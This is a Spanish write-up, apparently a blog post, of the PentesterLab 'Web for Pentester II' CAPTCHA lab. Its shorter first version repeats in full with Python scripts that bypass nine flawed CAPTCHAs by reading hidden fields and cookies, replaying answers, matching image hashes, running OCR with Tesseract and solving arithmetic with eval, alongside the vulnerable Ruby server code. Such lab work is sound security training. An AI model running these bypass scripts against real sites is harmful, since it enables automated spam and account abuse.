Seguro que todos sabéis lo que es un captcha, normalmente una imagen de un texto para que lo identifiquemos visualmente y lo introduzcamos en un formulario y de esa manera demostrar que somos humanos. Digo una imagen de un texto pero ni que decir tiene ésto que ha evolucionado y hoy en día ya nos encontramos con captchas que nos proponen identificar ciertas formas, responder a diversas preguntas, interpretar un audio, etc. e incluso hacer un simple 'clic' con un algoritmo funcionando "en la sombra"...
Para quien no lo sepa, captcha viene del acrónimo "Completely Automated Public Turing test to tell Computers and Humans Apart " o, en castellano, prueba de Turing completamente automática y pública para diferenciar ordenadores de humanos, yafortunadamente su uso está adoptado ampliamente en los formularios de muchos sitios web.
Hace ya unos cuantos años vimos una serie de recursos para evadir estos "molestos" captchas y hoy de repente nos encontramos con una serie de ejercicios en el laboratorio 'Web for pentester II' que precisamente nos permitirán entender un poco y desarrollar los "bypasses" más sencillos contra esta medida. Así que vamos a ello.
Ejercicio 1:
El primer script tiene un fallo de lógica, básicamente si la aplicación recibe un captcha no válido no escapará correctamente, dándonos acceso sin necesidad de introducir nada.
Basta por lo tanto con interceptar la petición GET y quitar el parámetro captcha:
SERVIDOR
Ejercicio 2:
En el segundo ejercicio, si inspeccionamos el código fuente, vemos que el valor del captcha se encuentra en un campo oculto del formulario:
Para automatizar el proceso podemos crear un sencillo script en python que utiliza la librería BeautifulSoup para parsear el código HTML de la respuesta y mostrar el valor del campo oculto (captcha):
SCRIPT
python captcha2.py
El captcha es = H\nxDbfIge
SERVIDOR
Ejercicio 3:
El tercer ejemplo es similar al anterior, pero esta vez el valor es devuelto en la cookie:
Así que para automatizar la extracción del captcha basta con crear un script que obtenga el valor de la cookie:
SCRIPT
# python captcha3.py
bePZhyiDuK
SERVIDOR
Ejercicio 4:
En este ejercicio hay un fallo en el token, básicamente si resuelves el captcha una vez y refrescas la página, la información se enviará una y otra vez. Esto significa que se puede escribir un script para volver a enviar la misma información varias veces y saltarse el captcha:
SERVIDOR
Ejercicio 5:
El quinto ejercicio es el último ejemplo de fallos en la implentación de captchas, aquí la debilidad proviene del diccionario utilizado para crear el captcha; sólo hay un número limitado de palabras (imágenes) utilizadas. Por lo tanto podemos escribir un cracker generando una lista de todas las palabras y el MD5 de cada imagen. De esta manera, cuando enviemos el formulario, sólo tendremos que recuperar la imagen, calcular su MD5 y enviar la palabra correspondiente.
SCRIPT
# python captcha5.py
captcha.png?t=1496015861.357713
4039a3ef7fc79e4adb60b43ac108d648
admin
SERVIDOR
Ejercicio 6:
En este ejercicio para evadir el captcha es necesario utilizar una herramienta de OCR como tesseract. Para ello hay que crear un script que descargue la imagen y luego ejecute tesseract con el siguiente código: 'tesseract imagefile.png' Ésto creará un archivo out.txt con la respuesta al captcha.
Primero instalamos tesseract:
apt-get install tesseract-ocr
Y luego adaptamos un poco el script que encontré en:
http://pwndizzle.blogspot.com/2013/12/breaking-bugcrowds-captcha-with-python.html
SCRIPT
Como véis a continuación todo el proceso de automatización funciona a la perfección:
# python3 autocaptcha.py
[+] Inicio!
[+] Descargando Pagina
-----Cookie extraida: rack.session=6f110071af87122de31805ae6977e8eb104cb7dcc5912c874064b36436b86057; path=/; HttpOnly
-----Token: 1496157822.5596094
[+] Descargando Captcha
[+] Redimensionando...
[+] Ejecutando Tesseract...
Tesseract Open Source OCR Engine v3.04.01 with Leptonica
-----Captcha: jasmine
[+] Enviando peticion...
-----URL: http://vulnerable/captcha/example6/submit?captcha=jasmine&Submit+Query
-----Conseguido!
[+] Fin!
SERVIDOR
Ejercicio 7:
Este ejemplo es igual que el anterior pero el captcha añade unas líneas azules para dificultar el reconocimiento OCR:
Si lanzamos el script anterior veremos que esta vez no es capaz de reconocer el texto de la imagen:
# python3 autocaptcha2.py
[+] Inicio!
[+] Descargando Pagina
-----Cookie extraida: rack.session=3919e20def48b2cca9e98b72b120f65c1afcb201ba625b255e99f3515590fb28; path=/; HttpOnly
-----Token: 1496161564.1624959
[+] Descargando Captcha
[+] Redimensionando...
[+] Ejecutando Tesseract...
Tesseract Open Source OCR Engine v3.04.01 with Leptonica
-----Captcha: Eifiifiéfiéfiiii
[+] Enviando peticion...
-----URL: http://vulnerable/captcha/example6/submit?captcha=Eifiifiéfiéfiiii&Submit+Query
Error: 'ascii' codec can't encode character '\ufb01' in position 39: ordinal not in range(128)
[+] Fin!
Tendremos por tanto que quitar las líneas azules. Para ello podemos cambiar el valor del umbral en la imagen con el comando: convert captcha1.png -white-threshold 1% captcha2.png
Entonces simplemente basta con añadir al final de la función resise la ejecución del comando anterior:
os.system('convert captcha1.png -white-threshold 1% captcha2.png')
Sin olvidar de añadir el ‘import os’ al principio y cambiar en la url example6 por example7.
# python3 autocaptcha2.py
[+] Inicio!
[+] Descargando Pagina
-----Cookie extraida: rack.session=d1804f642992f737761a67f313ba9dba5352adffc341b9cd8e35de3d51e1a16c; path=/; HttpOnly
-----Token: 1496162993.1133218
[+] Descargando Captcha
[+] Redimensionando...
[+] Ejecutando Tesseract...
Tesseract Open Source OCR Engine v3.04.01 with Leptonica
-----Captcha: scruffy
[+] Enviando peticion...
-----URL: http://vulnerable/captcha/example7/submit?captcha=scruffy&Submit+Query
-----Conseguido!
[+] Fin!
SERVIDOR
Ejercicio 8:
Este ejercicio es otra versión de los ejemplos anteriores, sólo que esta vez la imagen está implosionada.
Para convertirla a una forma más legible podemos hacerlo con:
# python3 autocaptcha3.py
[+] Inicio!
[+] Descargando Pagina
-----Cookie extraida: rack.session=b8454c97d19349329a0b9f593b12e8d978a6dc5adebb94cf4a491776c573abde; path=/; HttpOnly
-----Token: 1496178022.3857043
[+] Descargando Captcha
[+] Redimensionando...
[+] Ejecutando Tesseract...
Tesseract Open Source OCR Engine v3.04.01 with Leptonica
-----Captcha: warren
[+] Enviando peticion...
-----URL: http://vulnerable/captcha/example8/submit?captcha=warren&Submit+Query
-----Conseguido!
[+] Fin!
SERVIDOR
Ejercicio 9:
El último captcha es una pregunta aritmética:
Sin embargo, si vemos el código fuente veremos que tanto los números como los operadores se pasan en texto, no como imágenes:
Por lo tanto podemos crear un script que lea el código fuente y extraíga la información (números y operador), calcular la operación aritmética y pasarla en el formulario.
SCRIPT
# python3 aritmetico2.py
[+] Descargando Pagina
-----Cookie extraida: rack.session=f570e46dad1e64b3c44deebb010efd92524910ba5d46a3078d38dd9e1ecd5948; path=/; HttpOnly
-----Token: 21-7
[+] Enviando peticion...
-----URL: http://vulnerable/captcha/example9/submit?captcha=14&Submit+Query
-----Conseguido!
[+] Fin!
SERVIDOR
Y hasta aquí las pruebas para evadir captchas. Nos vemos en los siguientes ejercicios de ‘Web for pentester II’
[Pentesterlab write-ups by Hackplayers] Web For Pentester II:
Para quien no lo sepa, captcha viene del acrónimo "Completely Automated Public Turing test to tell Computers and Humans Apart " o, en castellano, prueba de Turing completamente automática y pública para diferenciar ordenadores de humanos, y
Hace ya unos cuantos años vimos una serie de recursos para evadir estos "molestos" captchas y hoy de repente nos encontramos con una serie de ejercicios en el laboratorio 'Web for pentester II' que precisamente nos permitirán entender un poco y desarrollar los "bypasses" más sencillos contra esta medida. Así que vamos a ello.
Ejercicio 1:
El primer script tiene un fallo de lógica, básicamente si la aplicación recibe un captcha no válido no escapará correctamente, dándonos acceso sin necesidad de introducir nada.
Basta por lo tanto con interceptar la petición GET y quitar el parámetro captcha:
SERVIDOR
require 'sinatra/base'
require 'rack-session-sequel'
require 'RMagick'
class CaptchaExample1 < PBase
use Rack::Session::Sequel
set :views, File.join(File.dirname(__FILE__), 'example1', 'views')
set :public_folder, File.join(File.dirname(__FILE__), 'example1', 'public')
def self.path
"/captcha/example1/"
end
get '/' do
session[:captcha] = gen_captcha
erb :index
end
get "/submit" do
if params[:captcha] and params[:captcha] != session[:captcha]
@message = "Invalid Captcha!"
redirect CaptchaExample1.path
end
erb :win
end
def gen_captcha
str = rand_str
image = Magick::Image.new(310,60, Magick::HatchFill.new('#ffffff', '#4169e1')) do
self.format = 'PNG'
end
text = Magick::Draw.new
text.annotate(image,0,0,0,5, str) do
self.font_weight = Magick::BoldWeight
self.pointsize = 32
self.stroke = 'transparent'
self.fill = 'black'
self.gravity = Magick::SouthGravity
end
image = image.implode(0.4)
image.write(File.join(File.dirname(__FILE__), 'example1', 'public',"captcha.png"))
str
end
def rand_str
10.times.map { ('A'..'z').to_a[rand(('A'..'z').to_a.size)]}.join
end
end
Ejercicio 2:
En el segundo ejercicio, si inspeccionamos el código fuente, vemos que el valor del captcha se encuentra en un campo oculto del formulario:
Para automatizar el proceso podemos crear un sencillo script en python que utiliza la librería BeautifulSoup para parsear el código HTML de la respuesta y mostrar el valor del campo oculto (captcha):
SCRIPT
import urllib
from bs4 import BeautifulSoup
f = urllib.urlopen("http://vulnerable/captcha/example2/").read()
soup = BeautifulSoup(f,"lxml")
repElemList = soup.find_all('input', type='hidden')
for repElem in repElemList:
repElemID = repElem.get('value')
print("El captcha es = %s" % repElemID)
python captcha2.py
El captcha es = H\nxDbfIge
SERVIDOR
require 'sinatra/base'
require 'rack-session-sequel'
require 'RMagick'
class CaptchaExample2 < PBase
use Rack::Session::Sequel
set :views, File.join(File.dirname(__FILE__), 'example2', 'views')
set :public_folder, File.join(File.dirname(__FILE__), 'example2', 'public')
def self.path
"/captcha/example2/"
end
get '/' do
@answer = gen_captcha
erb :index
end
get "/submit" do
if params[:captcha] and params[:captcha] != params[:answer]
@message = "Invalid Captcha!"
redirect CaptchaExample2.path
end
erb :win
end
def gen_captcha
str = rand_str
image = Magick::Image.new(310,60, Magick::HatchFill.new('#ffffff', '#4169e1')) do
self.format = 'PNG'
end
text = Magick::Draw.new
text.annotate(image,0,0,0,5, str) do
self.font_weight = Magick::BoldWeight
self.pointsize = 32
self.stroke = 'transparent'
self.fill = 'black'
self.gravity = Magick::SouthGravity
end
image = image.implode(0.4)
image.write(File.join(File.dirname(__FILE__), 'example2', 'public',"captcha.png"))
str
end
def rand_str
10.times.map { ('A'..'z').to_a[rand(('A'..'z').to_a.size)]}.join
end
end
Ejercicio 3:
El tercer ejemplo es similar al anterior, pero esta vez el valor es devuelto en la cookie:
Así que para automatizar la extracción del captcha basta con crear un script que obtenga el valor de la cookie:
SCRIPT
import requests
r = requests.get('http://vulnerable/captcha/example3')
c = r.cookies
i = c.items()
for name, value in i:
print(value)
# python captcha3.py
bePZhyiDuK
SERVIDOR
require 'sinatra/base'
require 'sinatra/cookies'
require 'sinatra/contrib'
require 'RMagick'
class CaptchaExample3 < PBase
set :views, File.join(File.dirname(__FILE__), 'example3', 'views')
set :public_folder, File.join(File.dirname(__FILE__), 'example3', 'public')
def self.path
"/captcha/example3/"
end
get '/' do
str = gen_captcha
response.set_cookie("captcha", str)
erb :index
end
get "/submit" do
if params[:captcha].nil? or params[:captcha] != request.cookies["captcha"]
@message = "Invalid Captcha!"
redirect CaptchaExample3.path
end
erb :win
end
def gen_captcha
str = rand_str
image = Magick::Image.new(310,60, Magick::HatchFill.new('#ffffff', '#4169e1')) do
self.format = 'PNG'
end
text = Magick::Draw.new
text.annotate(image,0,0,0,5, str) do
self.font_weight = Magick::BoldWeight
self.pointsize = 32
self.stroke = 'transparent'
self.fill = 'black'
self.gravity = Magick::SouthGravity
end
image = image.implode(0.4)
image.write(File.join(File.dirname(__FILE__), 'example3', 'public',"captcha.png"))
str
end
def rand_str
10.times.map { ('A'..'z').to_a[rand(('A'..'z').to_a.size)]}.join
end
end
Ejercicio 4:
En este ejercicio hay un fallo en el token, básicamente si resuelves el captcha una vez y refrescas la página, la información se enviará una y otra vez. Esto significa que se puede escribir un script para volver a enviar la misma información varias veces y saltarse el captcha:
SERVIDOR
require 'sinatra/base'
require 'rack-session-sequel'
require 'RMagick'
class CaptchaExample4 < PBase
use Rack::Session::Sequel
set :views, File.join(File.dirname(__FILE__), 'example4', 'views')
set :public_folder, File.join(File.dirname(__FILE__), 'example4', 'public')
def self.path
"/captcha/example4/"
end
def self.allwords
@@allwords
end
def self.allwords=(value)
@@allwords = value
end
configure {
CaptchaExample4.allwords = File.readlines(File.join(File.dirname(__FILE__), 'example4',"dico.txt"))
}
get '/' do
session[:captcha] = gen_captcha
erb :index
end
get "/submit" do
if params[:captcha].nil? or params[:captcha] != session[:captcha]
@message = "Invalid Captcha!"
session[:captcha] = gen_captcha
redirect CaptchaExample4.path
end
erb :win
end
def gen_captcha
str = rand_str
image = Magick::Image.new(150,50, Magick::HatchFill.new('#ffffff', '#4169e1')) do
self.format = 'PNG'
end
text = Magick::Draw.new
text.annotate(image,0,0,0,15, str) do
self.font_weight = Magick::BoldWeight
self.pointsize = 32
self.stroke = 'transparent'
self.fill = 'black'
self.gravity = Magick::CenterGravity
end
image = image.implode(0.4)
image.write(File.join(File.dirname(__FILE__), 'example4', 'public',"captcha.png"))
str
end
def rand_str
CaptchaExample4.allwords[rand(CaptchaExample4.allwords.size)].chomp
end
end
Ejercicio 5:
El quinto ejercicio es el último ejemplo de fallos en la implentación de captchas, aquí la debilidad proviene del diccionario utilizado para crear el captcha; sólo hay un número limitado de palabras (imágenes) utilizadas. Por lo tanto podemos escribir un cracker generando una lista de todas las palabras y el MD5 de cada imagen. De esta manera, cuando enviemos el formulario, sólo tendremos que recuperar la imagen, calcular su MD5 y enviar la palabra correspondiente.
SCRIPT
import cookielib, urllib2, urllib
from lxml import etree
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
page = opener.open("http://vulnerable/captcha/example5/")
page.addheaders = [('User-agent', 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0)]
reddit = etree.HTML(page.read())
for img in reddit.xpath('//img/@src'):
print img
a = str(img)
resource = urllib.urlopen('http://vulnerable/captcha/example5/' + a)
output = open("file01.png","wb")
output.write(resource.read())
output.close()
#obtener el hash md5 de cada imagen
import hashlib
hasher = hashlib.md5()
with open('file01.png', 'rb') as afile:
buf = afile.read()
hasher.update(buf)
md5 = (hasher.hexdigest())
md5= str(md5)
print md5
# comprobar si el md5 es igual al de la lista creada
if md5 == "FE9AC5CFB7B2438C900ED3E56C0E2CB0" : print "0dayz"
elif md5 == "4c298cfa40e502fb644d9a5fdc9c6a11": print "vulnerability"
elif md5 == "3761dd5bdb3dae4fc7ba3d5652b7bfc0": print "security"
elif md5 == "4039a3ef7fc79e4adb60b43ac108d648": print "admin"
elif md5== "93c985c35fa28eb819d91b5f55be7b65": print "compromise"
elif md5== "3d0a2ab11fb9c59d19a9d95d56ea2e6d": print "hacker"
elif md5 == "539746c4b3beae3e77773fa940d83d78": print "petester"
elif md5 == "fe9ac5cfb7b2438c900ed3e56c0e2cb0" :print "0dayz"
else: print "END"
# python captcha5.py
captcha.png?t=1496015861.357713
4039a3ef7fc79e4adb60b43ac108d648
admin
SERVIDOR
require 'sinatra/base'
require 'rack-session-sequel'
require 'RMagick'
class CaptchaExample5 < PBase
use Rack::Session::Sequel
set :views, File.join(File.dirname(__FILE__), 'example5', 'views')
set :public_folder, File.join(File.dirname(__FILE__), 'example5', 'public')
def self.path
"/captcha/example5/"
end
get '/' do
session[:captcha] = gen_captcha
erb :index
end
get "/submit" do
if params[:captcha].nil? or params[:captcha] != session[:captcha]
@message = "Invalid Captcha!"
session[:captcha] = gen_captcha
redirect CaptchaExample5.path
end
session[:captcha] = gen_captcha
erb :win
end
def gen_captcha
str = rand_str
image = Magick::Image.new(310,60, Magick::HatchFill.new('#ffffff', '#4169e1')) do
self.format = 'PNG'
end
text = Magick::Draw.new
text.annotate(image,0,0,0,5, str) do
self.font_weight = Magick::BoldWeight
self.pointsize = 32
self.stroke = 'transparent'
self.fill = 'black'
self.gravity = Magick::SouthGravity
end
image = image.implode(0.4)
image.write(File.join(File.dirname(__FILE__), 'example5', 'public',"captcha.png"))
str
end
def rand_str
arr = ['hacker', 'admin', 'pentester', 'security', '0dayz', 'vulnerability', 'compromise']
arr[rand(arr.size)]
end
end
Ejercicio 6:
En este ejercicio para evadir el captcha es necesario utilizar una herramienta de OCR como tesseract. Para ello hay que crear un script que descargue la imagen y luego ejecute tesseract con el siguiente código: 'tesseract imagefile.png' Ésto creará un archivo out.txt con la respuesta al captcha.
Primero instalamos tesseract:
apt-get install tesseract-ocr
Y luego adaptamos un poco el script que encontré en:
http://pwndizzle.blogspot.com/2013/12/breaking-bugcrowds-captcha-with-python.html
SCRIPT
from PIL import Image
from urllib.error import *
from urllib.request import *
from urllib.parse import *
import subprocess
import urllib, requests, re, json
def getpage():
try:
print("[+] Descargando Pagina");
site = urllib.request.urlopen("http://vulnerable/captcha/example6/")
global cookie
cookie = site.getheader('Set-Cookie')
print("-----Cookie extraida: " + cookie);
site_html = site.read().decode("utf-8")
#print(site_html)
global token
#Obtener el token (10 numeros + . + 7 numeros
token = re.findall('[(\d+.\d+)]{18}', site_html)
print ("-----Token: " + token[0])
except URLError as e:
print ("*****Error: No puede descargar la pagina*****");
def getcaptcha():
try:
print("[+] Descargando Captcha");
captchaurl = "http://vulnerable/captcha/example6/captcha.png?t="+token[0]
urlretrieve(captchaurl,'captcha.png')
except URLError as e:
print ("*****Error: No puede descargar la pagina*****");
def resizer():
print("[+] Redimensionando...");
im1 = Image.open("captcha.png")
width, height = im1.size
im2 = im1.resize((int(width*5), int(height*5)), Image.BICUBIC)
im2.save("captcha1.png")
def tesseract():
try:
print("[+] Ejecutando Tesseract...");
#Run Tesseract, -psm 8, tells Tesseract we are looking for a single word
subprocess.call(['tesseract', 'captcha1.png', 'output', '-psm', '8'])
f = open ("output.txt","r")
global cvalue
#Borra los espacios en blanco y las nuevas lineas de la salida Tesseract
cvaluelines = f.read().replace(" ", "").split('\n')
cvalue = cvaluelines[0]
print("-----Captcha: " + cvalue);
except Exception as e:
print ("Error: " + str(e))
def send():
try:
print("[+] Enviando peticion...");
urlconcaptcha = "http://vulnerable/captcha/example6/submit?captcha="+str(cvalue)+"&Submit+Query"
print("-----URL: " + urlconcaptcha);
request = urllib.request.Request(urlconcaptcha,headers={'Cookie':cookie})
f = urlopen(request)
response = f.read().decode('utf-8')
#print(response)
exito = re.search('Success', response)
if exito:
print("-----Conseguido!")
else:
print ("-----Fallo!")
except Exception as e:
print ("Error: " + str(e))
print("[+] Inicio!");
#Descarga la página y la parsea
getpage();
#Descarga la imagen del captcha
getcaptcha();
#Redimensiona la imagen del captcha
resizer();
#Usa Tesseract para analizar la imagen del captcha
tesseract();
#Envia la peticion al sitio con los datos del formulario y el captcha
send();
print("[+] Fin!");
Como véis a continuación todo el proceso de automatización funciona a la perfección:
# python3 autocaptcha.py
[+] Inicio!
[+] Descargando Pagina
-----Cookie extraida: rack.session=6f110071af87122de31805ae6977e8eb104cb7dcc5912c874064b36436b86057; path=/; HttpOnly
-----Token: 1496157822.5596094
[+] Descargando Captcha
[+] Redimensionando...
[+] Ejecutando Tesseract...
Tesseract Open Source OCR Engine v3.04.01 with Leptonica
-----Captcha: jasmine
[+] Enviando peticion...
-----URL: http://vulnerable/captcha/example6/submit?captcha=jasmine&Submit+Query
-----Conseguido!
[+] Fin!
SERVIDOR
require 'sinatra/base'
require 'active_record'
require 'digest/md5'
class CaptchaExample6 < PBase
def self.allwords
@@allwords
end
def self.allwords=(value)
@@allwords = value
end
configure {
CaptchaExample6.allwords = File.readlines(File.join(File.dirname(__FILE__), 'example6',"dico.txt"))
}
def self.path
"/captcha/example6/"
end
set :public_folder, File.join(File.dirname(__FILE__), 'example6', 'public')
set :views, File.join(File.dirname(__FILE__), 'example6', 'views')
use Rack::Session::Sequel
get '/' do
session[:captcha] = gen_captcha
erb :index
end
get "/submit" do
if params[:captcha].nil? or params[:captcha] != session[:captcha]
@message = "Invalid Captcha!"
session[:captcha] = gen_captcha
redirect CaptchaExample6.path
end
session[:captcha] = gen_captcha
erb :win
end
def gen_captcha
str = rand_str
image = Magick::Image.new(150,50) do
self.background_color = 'white'
self.format = 'PNG'
end
text = Magick::Draw.new
text.annotate(image,0,0,0,5, str) do
self.font_family = 'arial'
self.pointsize = 32
self.fill = 'black'
self.gravity = Magick::CenterGravity
end
image.write(File.join(File.dirname(__FILE__), 'example6', 'public',"captcha.png"))
str
end
def rand_str
CaptchaExample6.allwords[rand(CaptchaExample6.allwords.size)].chomp
end
Ejercicio 7:
Este ejemplo es igual que el anterior pero el captcha añade unas líneas azules para dificultar el reconocimiento OCR:
Si lanzamos el script anterior veremos que esta vez no es capaz de reconocer el texto de la imagen:
# python3 autocaptcha2.py
[+] Inicio!
[+] Descargando Pagina
-----Cookie extraida: rack.session=3919e20def48b2cca9e98b72b120f65c1afcb201ba625b255e99f3515590fb28; path=/; HttpOnly
-----Token: 1496161564.1624959
[+] Descargando Captcha
[+] Redimensionando...
[+] Ejecutando Tesseract...
Tesseract Open Source OCR Engine v3.04.01 with Leptonica
-----Captcha: Eifiifiéfiéfiiii
[+] Enviando peticion...
-----URL: http://vulnerable/captcha/example6/submit?captcha=Eifiifiéfiéfiiii&Submit+Query
Error: 'ascii' codec can't encode character '\ufb01' in position 39: ordinal not in range(128)
[+] Fin!
Tendremos por tanto que quitar las líneas azules. Para ello podemos cambiar el valor del umbral en la imagen con el comando: convert captcha1.png -white-threshold 1% captcha2.png
Entonces simplemente basta con añadir al final de la función resise la ejecución del comando anterior:
os.system('convert captcha1.png -white-threshold 1% captcha2.png')
Sin olvidar de añadir el ‘import os’ al principio y cambiar en la url example6 por example7.
# python3 autocaptcha2.py
[+] Inicio!
[+] Descargando Pagina
-----Cookie extraida: rack.session=d1804f642992f737761a67f313ba9dba5352adffc341b9cd8e35de3d51e1a16c; path=/; HttpOnly
-----Token: 1496162993.1133218
[+] Descargando Captcha
[+] Redimensionando...
[+] Ejecutando Tesseract...
Tesseract Open Source OCR Engine v3.04.01 with Leptonica
-----Captcha: scruffy
[+] Enviando peticion...
-----URL: http://vulnerable/captcha/example7/submit?captcha=scruffy&Submit+Query
-----Conseguido!
[+] Fin!
SERVIDOR
...
def gen_captcha
str = rand_str
image = Magick::Image.new(150,50, Magick::HatchFill.new('#ffffff', '#4169e1')) do
self.background_color = 'white'
self.format = 'PNG'
end
text = Magick::Draw.new
text.annotate(image,0,0,0,5, str) do
self.font_family = 'arial'
self.pointsize = 32
self.fill = 'black'
self.gravity = Magick::CenterGravity
end
image.write(File.join(File.dirname(__FILE__), 'example7', 'public',"captcha.png"))
str
end
....
Ejercicio 8:
Este ejercicio es otra versión de los ejemplos anteriores, sólo que esta vez la imagen está implosionada.
Para convertirla a una forma más legible podemos hacerlo con:
os.system('convert captcha1.png -white-threshold 20% captcha2.png')
os.system('convert captcha2.png -implode -0.5 captcha3.png')
# python3 autocaptcha3.py
[+] Inicio!
[+] Descargando Pagina
-----Cookie extraida: rack.session=b8454c97d19349329a0b9f593b12e8d978a6dc5adebb94cf4a491776c573abde; path=/; HttpOnly
-----Token: 1496178022.3857043
[+] Descargando Captcha
[+] Redimensionando...
[+] Ejecutando Tesseract...
Tesseract Open Source OCR Engine v3.04.01 with Leptonica
-----Captcha: warren
[+] Enviando peticion...
-----URL: http://vulnerable/captcha/example8/submit?captcha=warren&Submit+Query
-----Conseguido!
[+] Fin!
SERVIDOR
def gen_captcha
str = rand_str
image = Magick::Image.new(150,50, Magick::HatchFill.new('#ffffff', '#4169e1')) do
self.background_color = 'white'
self.format = 'PNG'
end
text = Magick::Draw.new
text.annotate(image,0,0,0,5, str) do
self.font_family = 'arial'
self.pointsize = 32
self.fill = 'black'
self.gravity = Magick::CenterGravity
end
image = image.implode(0.4)
image.write(File.join(File.dirname(__FILE__), 'example8', 'public',"captcha.png"))
str
end
Ejercicio 9:
El último captcha es una pregunta aritmética:
Sin embargo, si vemos el código fuente veremos que tanto los números como los operadores se pasan en texto, no como imágenes:
Por lo tanto podemos crear un script que lea el código fuente y extraíga la información (números y operador), calcular la operación aritmética y pasarla en el formulario.
SCRIPT
from PIL import Image
from urllib.error import *
from urllib.request import *
from urllib.parse import *
import subprocess
import urllib, requests, re, os
print("[+] Descargando Pagina");
site = urllib.request.urlopen("http://vulnerable/captcha/example9/")
global cookie
cookie = site.getheader('Set-Cookie')
print("-----Cookie extraida: " + cookie);
site_html = site.read().decode("utf-8")
#print(site_html)
global token
# Obtener el token (10 numeros + . + 7 numeros)
token = re.findall(r'(?:[0-9]|[0-9])+[\+\-\^\*]+(?:[0-9]|[0-9])', site_html)
print ("-----Token: " + token[0])
resultado=eval(token[0])
#print(resultado)
print("[+] Enviando peticion...");
urlconcaptcha = "http://vulnerable/captcha/example9/submit?captcha="+str(resultado)+"&Submit+Query"
print("-----URL: " + urlconcaptcha);
request = urllib.request.Request(urlconcaptcha,headers={'Cookie':cookie})
f = urlopen(request)
response = f.read().decode('utf-8')
#print(response)
exito = re.search('Success', response)
if exito:
print("-----Conseguido!")
else:
print ("-----Fallo!")
print("[+] Fin!");
# python3 aritmetico2.py
[+] Descargando Pagina
-----Cookie extraida: rack.session=f570e46dad1e64b3c44deebb010efd92524910ba5d46a3078d38dd9e1ecd5948; path=/; HttpOnly
-----Token: 21-7
[+] Enviando peticion...
-----URL: http://vulnerable/captcha/example9/submit?captcha=14&Submit+Query
-----Conseguido!
[+] Fin!
SERVIDOR
require 'sinatra/base'
require 'active_record'
require 'digest/md5'
class CaptchaExample9 < PBase
def self.path
"/captcha/example9/"
end
set :public_folder, File.join(File.dirname(__FILE__), 'example9', 'public')
set :views, File.join(File.dirname(__FILE__), 'example9', 'views')
use Rack::Session::Sequel
get '/' do
session[:captcha], @expr = gen_captcha
erb :index
end
get "/submit" do
if params[:captcha].nil? or params[:captcha].to_i != session[:captcha]
@message = "Invalid Captcha!"
session[:captcha] = gen_captcha
redirect CaptchaExample9.path
end
session[:captcha] = gen_captcha
erb :win
end
def gen_captcha
str = ""
ops = ['+', '-', '*' ]
op = ops[rand(3)]
i1 = rand(30)
i2 = rand(30)
case op
when '+'
return [ i1+i2, "#{i1}+#{i2}" ]
when '-'
return [ i1-i2, "#{i1}-#{i2}" ]
when '*'
return [ i1*i2, "#{i1}*#{i2}" ]
end
end
def rand_str
CaptchaExample9.allwords[rand(CaptchaExample9.allwords.size)].chomp
end
end
Y hasta aquí las pruebas para evadir captchas. Nos vemos en los siguientes ejercicios de ‘Web for pentester II’
[Pentesterlab write-ups by Hackplayers] Web For Pentester II:
SQL Injections | |
---|---|
Authentication | |
Captcha | |
Authorization & Mass Assignment | |
Randomness Issues & MongoDB injection |
Comentarios
Publicar un comentario